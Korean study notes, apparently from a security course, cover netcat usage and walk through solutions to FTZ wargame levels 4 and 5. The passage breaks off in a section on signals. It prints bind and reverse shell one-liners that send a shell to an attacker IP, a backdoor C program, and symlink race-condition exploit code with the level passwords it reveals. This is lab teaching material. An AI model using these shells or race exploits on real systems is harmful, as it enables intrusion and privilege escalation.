20160706 리버싱
nc(netcat) 명령어 사용법
NAME
nc - arbitrary TCP and UDP connections and listens
SYNOPSIS
nc [-46DdhklnrStUuvz] [-i interval] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout]
[-X proxy_protocol] [-x proxy_address[:port]]
[hostname] [port[s]]
DESCRIPTION
The nc (or netcat) utility is used for just about anything
under the sun involving TCP or UDP. It can open TCP con-
nections, send UDP packets, listen on arbitrary TCP and
UDP ports, do port scanning, and deal with both IPv4 and
IPv6. Unlike telnet(1), nc scripts nicely, and separates
error messages onto standard error instead of sending them
to standard output, as telnet(1) does with some.
Common uses include:
? simple TCP proxies
? shell-script based HTTP clients and servers
? network daemon testing
? a SOCKS or HTTP ProxyCommand for ssh(1)
? and much, much more
The options are as follows:
-l Used to specify that nc should listen for an
incoming connection rather than initiate a connec-
tion to a remote host. It is an error to use this
option in conjunction with the -p, -s, or -z
options. Additionally, any timeouts specified
with the -w option are ignored.
-u Use UDP instead of the default option of TCP.
CLIENT/SERVER MODEL
It is quite simple to build a very basic client/server
model using nc. On one console, start nc listening on a
specific port for a connection. For example:
(nc server) $ nc -l 1234
nc is now listening on port 1234 for a connection. On a
second console (or a second machine), connect to the
machine and port being listened on:
(nc client) $ nc 127.0.0.1 1234
There should now be a connection between the ports. Any-
thing typed at the second console will be concatenated to
the first, and vice-versa. After the connection has been
set up, nc does not really care which side is being used
as a 'server' and which side is being used as a 'client'.
The connection may be terminated using an EOF ('^D').
DATA TRANSFER
The example in the previous section can be expanded to
build a basic data transfer model. Any information input
into one end of the connection will be output to the other
end, and input and output can be easily captured in order
to emulate file transfer.
Start by using nc to listen on a specific port, with out-
put captured into a file:
$ nc -l 1234 > filename.out
Using a second machine, connect to the listening nc pro-
cess, feeding it the file which is to be transferred:
$ nc host.example.com 1234 < filename.in
After the file has been transferred, the connection will
close automatically.
TALKING TO SERVERS
It is sometimes useful to talk to servers "by hand" rather
than through a user interface. It can aid in trou-
bleshooting, when it might be necessary to verify what
data a server is sending in response to commands issued by
the client. For example, to retrieve the home page of a
web site:
$ echo -n "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80
Note that this also displays the headers sent by the web
server. They can be filtered, using a tool such as
sed(1), if necessary.
More complicated examples can be built up when the user
knows the format of requests required by the server. As
another example, an email may be submitted to an SMTP
server using:
$ nc localhost 25 << EOF
HELO host.example.com
MAIL FROM: <user@host.example.com>
RCPT TO: <user2@host.example.com>
DATA
Body of email.
.
QUIT
EOF
PORT SCANNING
It may be useful to know which ports are open and running
services on a target machine. The -z flag can be used to
tell nc to report open ports, rather than initiate a con-
nection. For example:
$ nc -z host.example.com 20-30
Connection to host.example.com 22 port [tcp/ssh] succeeded!
Connection to host.example.com 25 port [tcp/smtp] succeeded!
The port range was specified to limit the search to ports
20 - 30.
Alternatively, it might be useful to know which server
software is running, and which versions. This information
is often contained within the greeting banners. In order
to retrieve these, it is necessary to first make a connec-
tion, and then break the connection when the banner has
been retrieved. This can be accomplished by specifying a
small timeout with the -w flag, or perhaps by issuing a
"QUIT" command to the server:
$ echo "QUIT" | nc host.example.com 20-30
SSH-1.99-OpenSSH_3.6.1p2
Protocol mismatch.
220 host.example.com IMS SMTP Receiver Version 0.84 Ready
EXAMPLES
Open a TCP connection to port 42 of host.example.com,
using port 31337 as the source port, with a timeout of 5
seconds:
$ nc -p 31337 -w 5 host.example.com 42
Open a UDP connection to port 53 of host.example.com:
$ nc -u host.example.com 53
Open a TCP connection to port 42 of host.example.com using
10.1.2.3 as the IP for the local end of the connection:
$ nc -s 10.1.2.3 host.example.com 42
Create and listen on a Unix Domain Socket:
$ nc -lU /var/tmp/dsocket
Connect to port 42 of host.example.com via an HTTP proxy
at 10.2.3.4, port 8080. This example could also be used
by ssh(1); see the ProxyCommand directive in ssh_config(5)
for more information.
$ nc -x10.2.3.4:8080 -Xconnect host.example.com 42
넷캣(Netcat)은 TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 간단한 유틸리티 프로그램이다. 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection에 읽거나 쓴다. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하지만 반면 해킹에도 이용범위가 넓다.
Netcat(이하 nc로 표기)은 Network connection 에서 raw-data read, write를 할수 있는 유틸리티 프로그램입니다. 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 네트워크에 읽거나 쓸수 있습니다. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하고, 원하는 포트로 원하는 데이터를 주고받을수 있는 특징때문에 해킹에도 널리 이용되며, 컴퓨터 포렌식에 있어서 라이브시스템의 데이터를 손상없이 가져오기위해서도 사용될수 있습니다.
nc은 원하는 거의 모든 종류의 접속형태를 만들어 낼 수 있고 흥미로운 몇 가지 내장기능을 갖고 있기 때문에 다기능의 네크워크 문제해결/조사시 유용하게 사용가능합니다.
■ 프로그램 다운로드
(리눅스용 nc) http://netcat.sourceforge.net/
(윈도우용 nc) http://www.securityfocus.com/tools/139/scoreit
■ nc 최신버전에 대한 사용법
----------------------------------------------------------------------------------------------
usage : nc [options] [target host] [ports]
-n : 호스트 네임과 포트를 숫자로만 입력받는다.
-v : verbosity 를 증가 시킨다. 더 많은 정보를 얻을수 있다.
-o [filename]: 보내거나 받은 데이터를 헥스덤프하여 파일에 저장한다.
-u : TCP connection 대신에 UDP connection 이 이루어 진다.
-p [port number or name] : local-port 를 지정한다. 주로 -l 과 같이 사용하게 된다.
-s [ip address or DNS] : local ip address 를 지정한다. 모든 플렛폼에서 지원되지는 않는다.
-l : listen 모드로 nc을 띠우게 된다. 당연히 target host는 입력하지 않는다. -p와 같이 사용하게 된다. nc를 server 로서 쓸때 사용.
-e [filename] : -DGAPING_SECURITY_HOLE 옵션으로 Make 되었을 때 사용가능하다.
-t : -DTELNET 옵션으로 컴파일 되었을 때 사용가능하다. telnetd에 접속이 가능하도록 접속시 telnet과 같은 협상과정을 거친다.
-i [interval time] : nc는 일반적으로 8K 씩 데이터를 보내고 받는데 그렇게 Standard input의 한 라인씩 interval time마다 보내게 된다.
-z : connection을 이루기위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션.
-r : port 지정이 여러개로 되어 있으면 이때 scanning 순서를 randomize하고 (일반적으로 범위로 지정하면 높은 번호의 포트부터 스캔한다) 또한 -p 옵션에서 지정가능한 local port도 randomize 합니다. 이때 주의 할 것은 -p가 -r을 override 한다는 것입니다.
----------------------------------------------------------------------------------------------
[실습] netcat 명령어 설치
(linux200)
# yum -y install nc
-> 출력내용 생략
# rpm -qa | grep nc
nc-1.84-10.fc6 |
[실습] 간단한 네트워크 연결
# nc 192.168.10.200 22 (# telnet localhost 22)
SSH-2.0-OpenSSH_4.3 exit Protocol mismatch. |
[실습] 서비스 배너 수집
# echo -e "HEAD / HTTP/1.0\n\n" | nc httpd.apache.org 80
HTTP/1.1 200 OK Date: Fri, 22 Aug 2014 07:13:00 GMT Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1i Last-Modified: Fri, 22 Aug 2014 07:10:38 GMT ETag: "9ae4-5013288ca49a2" Accept-Ranges: bytes Content-Length: 39652 Vary: Accept-Encoding Cache-Control: max-age=3600 Expires: Fri, 22 Aug 2014 08:13:00 GMT Connection: close Content-Type: text/html; charset=utf-8 |
# echo -e "HEAD / HTTP/1.0\n\n" | nc localhost 80
HTTP/1.1 200 OK Date: Fri, 22 Aug 2014 07:12:33 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Mon, 14 Jul 2014 10:40:47 GMT ETag: "62237b-43-ec8109c0" Accept-Ranges: bytes Content-Length: 67 Connection: close Content-Type: text/html; charset=UTF-8 |
-> 위 결과를 보면 웹 서버 소프트웨어와 운영체제를 알 수 있다.
[실습] 간단한 서버/클라이언트 구성
포트 7979에서 리슨(listen)하는 간단한 채팅 서버를 만들어 보자.
(nc server) 192.168.10.200
[TERM1] # nc -l 7979
(nc client) 192.168.10.200
[TERM2] # nc 192.168.10.200 7979 (# telnet 192.168.10.200 7979)
hi
hello netcat!!!!
<CTRL + D>
-> 클라이언트에서 입력한 모든 문자가 서버에 출력된다.
-> 간단한 채팅 서버를 만든 셈이다.
-> 클라이언트에서 <CTRL + D> 통해 끊을 때 서버도 같이 종료 된다.
-> connection 이 이루어 졌을 때 파일을 실행시킨다. -l 과 같이 사용되면 한 instance만을 사용하
는 inetd와 비슷하다.
[실습] 파일 전송
클라이언트에서 명령의 결과를 바로 서버 측으로 전송하거나 파일을 전송할 수 있다.
클라이언트에서 넷캣 리스너로 파일을 전송할 수도 있고 역방향으로 파일을 전송할 수도 있다.
(nc server) [TERM1] # nc -l 7979 > /tmp/output.txt
(nc client) [TERM2] # ps auxf | nc 192.168.10.200 7979
or
# nc 192.168.10.200 < /tmp/input.txt
(nc server) [TERM1] # cat /tmp/output.txt
[참고] 참고 사이트(반드시 참고한다.)
http://devanix.tistory.com/307-> 백도어 쉘과 리버스 셀 부분을 참고한다.
https://www.linux.co.kr/home/lecture/?leccode=10648
http://1828.tistory.com/entry/Tool-NC-NetCat
http://egloos.zum.com/hanguy/v/2079313
http://idkwim.tistory.com/58
http://security.kaist.ac.kr/docs/netcat.html
http://www.oac.uci.edu/indiv/franklin/doc/netcat.html
■ 백도어 쉘(bind_tcp)
서버(공인IP) - Victim | 클라이언트(공인IP/사설IP) - Attacker |
# nc -e /bin/sh -l -p 1234
|
# nc <Victim's IP> 1234 uname -a; ls -al; |
■ 리버스 쉘(reverse_tcp)
서버(공인IP) - Attacker | 클라이언트(공인IP/사설IP) - Victim |
# nc -n -v -l -p 1234
ifconfig; id; hostname; |
# nc -e /bin/sh <Attacker's IP> 1234
|
(linux200)
# yum -y install nc
# rpm -qa | grep nc
nc-1.84-10.fc6 libfontenc-1.0.2-2.2.el5 ncurses-5.5-24.20060715 vim-enhanced-7.0.109-7.2.el5 launchmail-4.0.0-2.el5 evince-0.6.0-17.el5 rsync-3.0.6-4.el5_7.1 vnc-server-4.1.2-14.el5_6.6 libwnck-2.16.0-4.fc6 irqbalance-0.55-15.el5 |
# nc 192.168.10.240 79 /* 192.168.10.240 : HackMe System's IP */
id uid=3005(level5) gid=3005(level5) my-pass
Level5 Password is "what is your name?".
pwd / cd /etc cat passwd ..... (중략) ..... level15:x:3095:3095::/home/level15:/bin/bash level16:x:3096:3096::/home/level16:/bin/bash level17:x:3097:3097::/home/level17:/bin/bash level18:x:3098:3098::/home/level18:/bin/bash level19:x:3099:3099::/home/level19:/bin/bash level20:x:3100:3100::/home/level20:/bin/bash clear:x:3101:3101::/home/clear:/bin/bash exit |
#
(HackMe)
# man bash
-i If the -i option is present, the shell is
interactive.
[level4@ftz tmp]$ cd ~/tmp
[level4@ftz tmp]$ vi backdoor2.c
#include <stdlib.h>
int main() { system("/bin/bash -i"); } |
[level4@ftz tmp]$ gcc -o backdoor backdoor2.c
[level4@ftz tmp]$
(linux200)
# nc 192.168.10.240 79
bash: no job control in this shell stty: standard input: Invalid argument [level5@ftz /]$ hostname ftz.hackerschool.org [level5@ftz /]$ id uid=3005(level5) gid=3005(level5) [level5@ftz /]$ exit exit |
#
(정리) xinetd 방식의 원격 백도어 특성
서비스 요청이 있지 않으면 데몬이 떠 있지 않은 상태이므로 관리자가 확인하기가 어렵다.
5 | Leve5 -> Leve6 |
단원의 목적
레이스 컨디션(Race Condition, 경쟁상태/경쟁조건)
레이스 컨디션(Race Condition)
다수의 프로세스가 서로 동일한 자원을 할당받기 위해 경쟁하는 상태이다.
레이스 컨디션(Race Condition)의 전제조건
다른 계정의 권한에 접근해야 하므로 SetUID가 걸려 있어야 한다.
임시 파일을 생성해야 한다.
공격자가 임시로 생성되는 파일명을 정확하게 알아야 한다.
레이스 컨디션이 발생하는 경우의 예
(일반적인 프로그램 실행시)
① 파일생성
② 생성된 파일에 내용쓰기
③ 쓴 내용을 읽어들여 처리/사용
④ 파일 삭제
level6 문제에 도전하기
level5 사용자로 로그인
-> ID/PASS: level5/what is your name?
[level5@ftz level5]$ ls -l
합계 12 -rw-r--r-- 1 root root 129 3월 23 2000 hint drwxr-xr-x 2 root level5 4096 2월 24 2002 public_html drwxrwx--- 2 root level5 4096 1월 16 2009 tmp |
[level5@ftz level5]$ cat hint
/usr/bin/level5 프로그램은 /tmp 디렉토리에 level5.tmp 라는 이름의 임시파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라.
|
[level5@ftz level5]$ ls -l /usr/bin/level5
-rws--x--- 1 level6 level5 12236 8월 19 12:58 /usr/bin/level5 |
[level5@ftz level5]$ find / -user level6 -perm -4000 2>/dev/null
/usr/bin/level5 |
[level5@ftz level5]$ /usr/bin/level5 ; ls -l /tmp/level5.tmp
ls: /tmp/level5.tmp: 그런 파일이나 디렉토리가 없음 |
-> 파일이 빨리 생성 되었다가 지워지기 때문에 없는것 처럼 보인다.
[level5@ftz level5]$ cd tmp
[level5@ftz tmp]$ vi runTarget.c
#include <unistd.h>
int main(void) { int i; for(i=0; i<10; i++) { system("/usr/bin/level5 &"); } } |
[level5@ftz tmp]$ gcc -o runTarget runTarget.c
[level5@ftz tmp]$
ln 명령어에 대해서
NAME ln - make links between files
SYNOPSIS ln [OPTION]... TARGET [LINK_NAME] ln [OPTION]... TARGET... DIRECTORY ln [OPTION]... --target-directory=DIRECTORY TARGET...
DESCRIPTION Create a link to the specified TARGET with optional LINK_NAME. If LINK_NAME is omitted, a link with the same basename as the TARGET is created in the current directory. When using the second form with more than one TARGET, the last argument must be a directory; create links in DIRECTORY to each TARGET. Create hard links by default, symbolic links with --symbolic. When creating hard links, each TARGET must exist. |
■ 파일의 종류
일반 파일(Regular File)
디렉토리 파일(Directory File)
링크 파일(Link File)
하드 링크 파일(Hard Link File)
심볼릭 링크 파일(Symbolic Link File, Soft Link File)
디바이스 파일(Device File)
블럭 디바이스 파일(Block Device File)
캐릭터 디바이스 파일(Character Device File = Raw Device File)
파이프 파일(Pipe File)
소켓 파일(Socket File)
도어 파일(Door File)
■ 링크 파일(Link File) 파일의 종류
- 하드 링크(Hard Link)
- 심볼릭 링크(Symbolic Link, Soft Link)
■ 하드링크에 대한 기본 체계
# ls -l file1
-rw-r--r-- 1 root root 6 8월 25 13:06 file1
(linux200)
파일에 대한 하드링크 수는 '1'이 기본값이다.
디렉토리에 대한 하드링크 수는 '2'가 기본값이다.-> 디렉토리안에 들어 있는 디렉토리의 개수
# cd /test && rm -rf /test/*
# echo "hello" > file1
# ls -l file1
-rw-r--r-- 1 root root 6 8월 25 13:06 file1 |
+----------------+
file1 | Inode | Inode(Index Node)
+----------------+
| |
| Data |
| |
| |
+----------------+
# mkdir dir1
# ls -ld dir1
drwxr-xr-x 2 root root 4.0K 8월 25 13:06 dir1/ |
디렉토리에 대한 하드링크수는 디렉토리 안에 들어 있는 디렉토리 개수이다.
# ls -al dir1
# mkdir dir1/dir2
# ls -ld dir1
-> 디렉토리의 하드링수는?
-> drwxr-xr-x 3 root root 4.0K Jul 7 02:58 dir1
# mkdir dir1/dir3
# ls -ld dir1
-> 디렉토리의 하드링수는?
-> drwxr-xr-x 4 root root 4.0K Jul 7 02:59 dir1
# mkdir dir1/dir2/dir4
# ls -ld dir1
-> 디렉토리의 하드링수는?
-> drwxr-xr-x 4 root root 4.0K Jul 7 02:59 dir1
# touch dir1/file2
# ls -ld dir1
-> 디렉토리의 하드링수는?
-> drwxr-xr-x 4 root root 4.0K Jul 7 03:01 dir1
# ls -l /
drwxr-xr-x 14 root root 4.0K Oct 9 04:03 lib/
■ ln 명령어 사용법
ln CMD
(하드링크) # ln file1 file2
(심볼릭 링크) # ln -s file1 file2
(하드 링크)
# cd /test && rm -rf /test/*
# echo 1111 > file1
# ls -l file1
-rw-r--r-- 1 root root 5 Aug 14 18:07 file1 |
# ln file1 file2
# ls -l file*
-rw-r--r-- 2 root root 5 8월 25 13:16 file1 -rw-r--r-- 2 root root 5 8월 25 13:16 file2 |
# ls -li file*
163204 -rw-r--r-- 2 root root 5 8월 25 13:16 file1 163204 -rw-r--r-- 2 root root 5 8월 25 13:16 file2 |
# echo 2222 >> file1
# cat file2
# rm file1
# cat file2
# ls -l file2
-rw-r--r-- 1 root root 5 8월 25 13:16 file2 |
(심볼릭 링크)
# ln -s file2 file3
# ls -l file*
-rw-r--r-- 1 root root 5 8월 25 13:16 file2 lrwxrwxrwx 1 root root 5 8월 25 13:23 file3 -> file2 |
# ls -li file*
163204 -rw-r--r-- 1 root root 5 8월 25 13:16 file2 163206 lrwxrwxrwx 1 root root 5 8월 25 13:23 file3 -> file2 |
# echo 3333 >> file3
# cat file2
# rm file2
# cat file3
■ 심볼릭 링크의 예제
심볼릭 링크 -> 바탕화면 바로가기 아이콘(EX: 한글.lnk)
■ 하드링크 & 심볼릭 링크의 비교
-> 파일시스템을 넘어서 링크를 걸때
-> 디렉토리에 링크 걸때
■ 하드링크 검색 방법
# cd /test && rm -rf /test
# echo 1111 > file1
# ln file1 file2
# ln file1 file3
# ls -li file*
# find . -inum <inode number> -type f (EX: # find . -inum 450 -type f)
■ 하드링크의 용량 변화에 대해서
요청:
# df -h /boot
# cd /boot
# dd if=/dev/zero of=file1 bs=1M count=20
# ls -lh
# ln file1 file2
# ln file1 file3
# ls -lh file*
# df -h /boot
# rm -f file1
# df -h /boot
# rm -f file2
# df -h /boot
# rm -f file3
# df -h /boot
■ 기존에 존재파일에 링크를 거는 경우의 에러 메세지
# cd /test && rm -rf /test/*
# echo 1111 > file1
# echo 2222 > file2
# ls
file1 file2 |
# ln -s file1 file2
ln: creating symbolic link `file2' to `file1': 파일이 존재합니다 |
or
ln: creating symbolic link `file2' to `file1': File exists |
[level5@ftz tmp]$ vi Attack_Target.c
#include<unistd.h>
int main() { int i;
system("touch /tmp/18pass.txt"); for(i=0; i<=10; i++) { system("ln -s /tmp/18pass.txt /tmp/level5.tmp"); } system("cat /tmp/18pass.txt"); system("rm -rf /tmp/18pass.txt"); } |
[level5@ftz tmp]$ gcc -o Attack_Target Attack_Target.c
[level5@ftz tmp]$
[level5@ftz tmp]$ vi Attack_Target.sh
#!/bin/bash
# # # gcc -o Attack_Target Attack_Target.c # # gcc -o runTarget runTarget.c # # ./Attack_Target.sh #
./runTarget & ./Attack_Target |
[level5@ftz tmp]$ chmod 755 Attack_Target.sh
[level5@ftz tmp]$ ./Attack_Target.sh
ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 next password : what the hell |
■ 레벨5의 레이스 컨디션 공격 타이밍 예제
-------------------------- Attack_Target.sh -------------------------------------
Attack_Target process runTarget process
(ㄱ) 프로그램 실행 (ㄱ) 프로그램 실행
(ㄴ) 파일 생성(/tmp/18pass.txt)
|
+---------> (ㄷ)링크 파일 생성 <--- (ㄴ) 파일을 생성할려고 하지만 미리 만들어져 있음
(/tmp/level5.tmp)
(ㄷ) 파일에 내용 추가
(ㄹ) 파일 내용 확인(/tmp/level5.tmp)
(ㅁ) 파일 삭제(EX: rm -f /tmp/18pass.txt) (ㄹ) 파일 삭제(EX: rm -f /tmp/level5.tmp)
(ㅂ) 프로그램 종료 (ㅁ) 프로그램 종료
■ thread를 사용하여 좀 더 공격방법을 진화 시켜 보자.
[참고] Process & Thread 대해서
[level5@ftz tmp]$ vi Attack_Target2.c
#include <stdio.h> #include <stdlib.h> #include <pthread.h>
/* Complie Option: -pthread # gcc -o Attack_Target Attack_Target2.c -pthread # ./Attack_Target */
void *exec_cmd(); void *exec_race();
int main() { pthread_t thread1, thread2; char *message1 = "Thread 1"; char *message2 = "Thread 2";
int iret1, iret2, i;
iret1 = pthread_create(&thread1, NULL, exec_cmd, (void *) message1); iret2 = pthread_create(&thread2, NULL, exec_race, (void *) message2);
pthread_join(thread1, NULL); pthread_join(thread2, NULL);
printf("Thread1 return: %d\n", iret1); printf("Thread2 return: %d\n", iret2);
return 0; }
void *exec_cmd() { int i;
for(i=0; i<10; i++) { system("/usr/bin/level5 &"); printf("---------- Execute level5 ----------\n"); } exit(0); }
void *exec_race() { int i; system("touch /tmp/18pass.txt"); for(i=0; i<10; i++) { system("ln -s /tmp/18pass.txt /tmp/level5.tmp &"); printf("=========== Sucessfully create link !!! ========\n"); system("cat /tmp/18pass.txt"); } exit(0); } |
[참고] 프로그램이 어떻게 동작하는지 분석하기 위해서 printf() 함수를 각 라인에 붙여서 프로그램을 동작을 시키면 좀더 효과적으로 분석할 수 있다.
[level5@ftz tmp]$ su - root
root 사용자의 암호 입력
[root@ftz root]# rm -f /tmp/18pass.txt /tmp/level5.tmp
[root@ftz root]# exit
[level5@ftz tmp]$ gcc -o Attack_Target Attack_Target2.c -pthread
[level5@ftz tmp]$ ./Attack_Target
---------- Execute level5 ---------- ln: `/tmp/level5.tmp': 파일이 존재합니다 =========== Sucessfully create link !!! ======== next password : what the hell ln: `/tmp/level5.tmp': 파일이 존재합니다 ---------- Execute level5 ---------- =========== Sucessfully create link !!! ======== ---------- Execute level5 ---------- ln: `/tmp/level5.tmp': 파일이 존재합니다 ---------- Execute level5 ---------- =========== Sucessfully create link !!! ======== next password : what the hell ---------- Execute level5 ---------- ---------- Execute level5 ---------- ln: `/tmp/level5.tmp': 파일이 존재합니다 =========== Sucessfully create link !!! ======== ---------- Execute level5 ---------- next password : what the hell ---------- Execute level5 ---------- ln: `/tmp/level5.tmp': 파일이 존재합니다 =========== Sucessfully create link !!! ======== ---------- Execute level5 ---------- next password : what the hell ---------- Execute level5 ---------- ln: `/tmp/level5.tmp': 파일이 존재합니다 |
[level5@ftz tmp]$ telnet localhost
level6/what the hell
<CTRL + ]>
telnet> quit
[level5@ftz tmp]$
[level5@ftz tmp]$ cd /tmp
[level5@ftz tmp]$ ls -l
합계 16 -rw-rw-r-- 1 level5 level5 31 11월 26 17:54 18pass.txt -rw-rw-r-- 1 level4 level3 107 11월 25 18:54 backdoor2.c lrwxrwxrwx 1 level5 level5 15 11월 26 17:54 level5.tmp -> /tmp/18pass.txt drwx------ 2 root root 4096 11월 26 15:39 orbit-root drwx------ 2 root root 4096 11월 26 15:38 ssh-XXugNuiN |
[level5@ftz tmp]$ cat 18pass.txt
next password : what the hell |
■ 리버싱을 통한 의사 코드 복원
[level5@ftz tmp]$ ls -l /usr/bin/level5
-rws--x--- 1 level6 level5 12236 8월 19 12:58 /usr/bin/level5 |
-> 실행만 할 수 있기 때문 gdb로 디버깅할 수 없다.
-> 따라서, level6 권한을 따낸후에 디버깅 작업을 해야 한다.
-> 실습에서는 root 사용자로 작업한다.
[level5@ftz level5]$ su root
Password: (root 사용자 암호) |
[root@ftz level5]$ gdb /usr/bin/level5
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x0804842c <main+0>: push %ebp 0x0804842d <main+1>: mov %esp,%ebp 0x0804842f <main+3>: sub $0x8,%esp 0x08048432 <main+6>: and $0xfffffff0,%esp 0x08048435 <main+9>: mov $0x0,%eax 0x0804843a <main+14>: sub %eax,%esp 0x0804843c <main+16>: sub $0x8,%esp 0x0804843f <main+19>: push $0x180 0x08048444 <main+24>: push $0x8048580 0x08048449 <main+29>: call 0x804832c <creat> /* int creat(const char *pathname, mode_t mode); */ 0x0804844e <main+34>: add $0x10,%esp 0x08048451 <main+37>: mov %eax,0xfffffffc(%ebp) 0x08048454 <main+40>: cmpl $0x0,0xfffffffc(%ebp) 0x08048458 <main+44>: jns 0x8048484 <main+88> /* if(fd < 0) { 파일생성 실패 } else { 파일생성 성공 } */ 0x0804845a <main+46>: sub $0xc,%esp 0x0804845d <main+49>: push $0x80485a0 0x08048462 <main+54>: call 0x804835c <printf> 0x08048467 <main+59>: add $0x10,%esp 0x0804846a <main+62>: sub $0xc,%esp 0x0804846d <main+65>: push $0x8048580 0x08048472 <main+70>: call 0x804833c <remove> /* int remove(const char *pathname); */ 0x08048477 <main+75>: add $0x10,%esp 0x0804847a <main+78>: sub $0xc,%esp 0x0804847d <main+81>: push $0x0 0x0804847f <main+83>: call 0x804836c <exit> 0x08048484 <main+88>: sub $0x4,%esp 0x08048487 <main+91>: push $0x1f 0x08048489 <main+93>: push $0x80485e0 0x0804848e <main+98>: pushl 0xfffffffc(%ebp) 0x08048491 <main+101>: call 0x804830c <write> /* ssize_t write(int fd, const void *buf, size_t count); */ 0x08048496 <main+106>: add $0x10,%esp 0x08048499 <main+109>: sub $0xc,%esp 0x0804849c <main+112>: pushl 0xfffffffc(%ebp) 0x0804849f <main+115>: call 0x804831c <close> ---Type <return> to continue, or q <return> to quit--- 0x080484a4 <main+120>: add $0x10,%esp 0x080484a7 <main+123>: sub $0xc,%esp 0x080484aa <main+126>: push $0x8048580 0x080484af <main+131>: call 0x804833c <remove> /* int remove(const char *pathname); */ 0x080484b4 <main+136>: add $0x10,%esp 0x080484b7 <main+139>: leave 0x080484b8 <main+140>: ret 0x080484b9 <main+141>: nop 0x080484ba <main+142>: nop 0x080484bb <main+143>: nop End of assembler dump. (gdb) x/s 0x8048580 0x8048580 <_IO_stdin_used+28>: "/tmp/level5.tmp" (gdb) x/s 0x80485a0 0x80485a0 <_IO_stdin_used+60>: "Can not creat a temporary file.\n" (gdb) x/s 0x80485e0 0x80485e0 <_IO_stdin_used+124>: "next password : what the hell\n" (gdb) x/s 0x8048580 0x8048580 <_IO_stdin_used+28>: "/tmp/level5.tmp" (gdb) quit |
■ 복원된 의사 코드이다.
# vi level5.c
#include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h>
#define PERM 0x180
int main() { int fd; char nextPass[] = "next password : what the hell\n"; char *tempfile = "/tmp/level5.tmp;
// temporary file create fd = create(tempFile, PERM); if(fd < 0) { printf("Can not create a temporary file.\n"); remove(tempFile); exit(0); } else { write(fd, nextPass, strlen(nextPass)); close(fd); remove(tempFile); } return 0; } |
■ 원본 소스 코드
# vi level5.c
#include <unistd.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <stdlib.h> #include <string.h>
#define TMP_FILE "/tmp/level5.tmp" #define LVL6_PASS "next password : what the hell\n"
int main( void ) { int fd;
fd = creat( TMP_FILE, S_IRUSR|S_IWUSR ); if( fd < 0 ) { printf( "Can not creat a temporary file.\n" ); remove( TMP_FILE ); exit(0); }
write( fd, LVL6_PASS, strlen( LVL6_PASS ) + 1 ); close( fd );
remove( TMP_FILE ); } |
■ 다른 방법을 통한 문제 풀이(http://inhack.org/wordpress/?p=1968)
원본 내용을 되도록 손상시키지 않는 범위내에서 문서를 작성하였습니다.
level5 사용자로 로그인
-> level5/what is your name?
[level5@ftz tmp]$ su - root
root 사용자의 암호 입력
[root@ftz root]# rm -f /tmp/18pass.txt /tmp/level5.tmp /tmp/level6
[root@ftz root]# exit
[level5@ftz level5]$ cd ~/tmp
[level5@ftz tmp]$ vi racecon1.c
#include <stdio.h> int main() { while(1) system("/usr/bin/level5"); return 0; } |
[level5@ftz tmp]$ vi racecon2.c
#include <stdio.h> int main() { while(1) system("ln -s /tmp/level6 /tmp/level5.tmp"); return 0; } |
[level5@ftz tmp]$ vi racecon3.c
#include <stdio.h> int main() { while(1) system("tail -f /tmp/level6"); return 0; } |
[level5@ftz tmp]$ gcc -o racecon1 racecon1.c
[level5@ftz tmp]$ gcc -o racecon2 racecon2.c
[level5@ftz tmp]$ gcc -o racecon3 racecon3.c
[level5@ftz tmp]$ ./racecon1 & ./racecon2 2>/dev/null & ./racecon3 2>/dev/null
[1] 4453 [2] 4454 next password : what the hell <CTRL + Z> [3]+ Stopped ./racecon3 2>/dev/null |
[level5@ftz tmp]$ pgrep -lf racecon
11647 ./racecon1 11648 ./racecon2 11649 ./racecon3 |
[level5@ftz tmp]$ pgrep racecon
11647 11648 11649 |
[level5@ftz tmp]$ kill -9 `pgrep racecon`
[3]+ 죽었음 ./racecon3 2>/dev/null |
6 | Leve6 -> Leve7 |
단원의 목적
signal() 함수의 취약점
■ 시그널(signal)?
하나의 프로세스(Process)가 다른프로세스(Process)에게 보내는 비동기적 알림 이벤트 메세지
# kill [-1|-2|-9|-15] PID PID
■ signal 종류
-------+-------------+--------------------+-------------------------------------------
number | name | comment | example
-------+-------------+--------------------+-------------------------------------------
1 SIGHUP HangUp signal, process restart # kill -1 PID
2 SIGINT Interrupt signal # kill -2 PID
9 SIGKILL force signal # kill -9 PID
15 SIGTERM termination # kill -15 PID
--------------------------------------------------------------------------------------
시그널(signal)에 대해서
■ 시그널에 대한 정보 확인
(linux200)
# whatis signal
signal (2) - ANSI C signal handling signal (3p) - signal management signal (7) - list of available signals signal.h [signal] (0p) - signals |
# man 7 signal
NAME signal - list of available signals
DESCRIPTION Linux supports both POSIX reliable signals (hereinafter "standard signals") and POSIX real-time signals.
Signal Dispositions Each signal has a current disposition, which determines how the process behaves when it is delivered the signal.
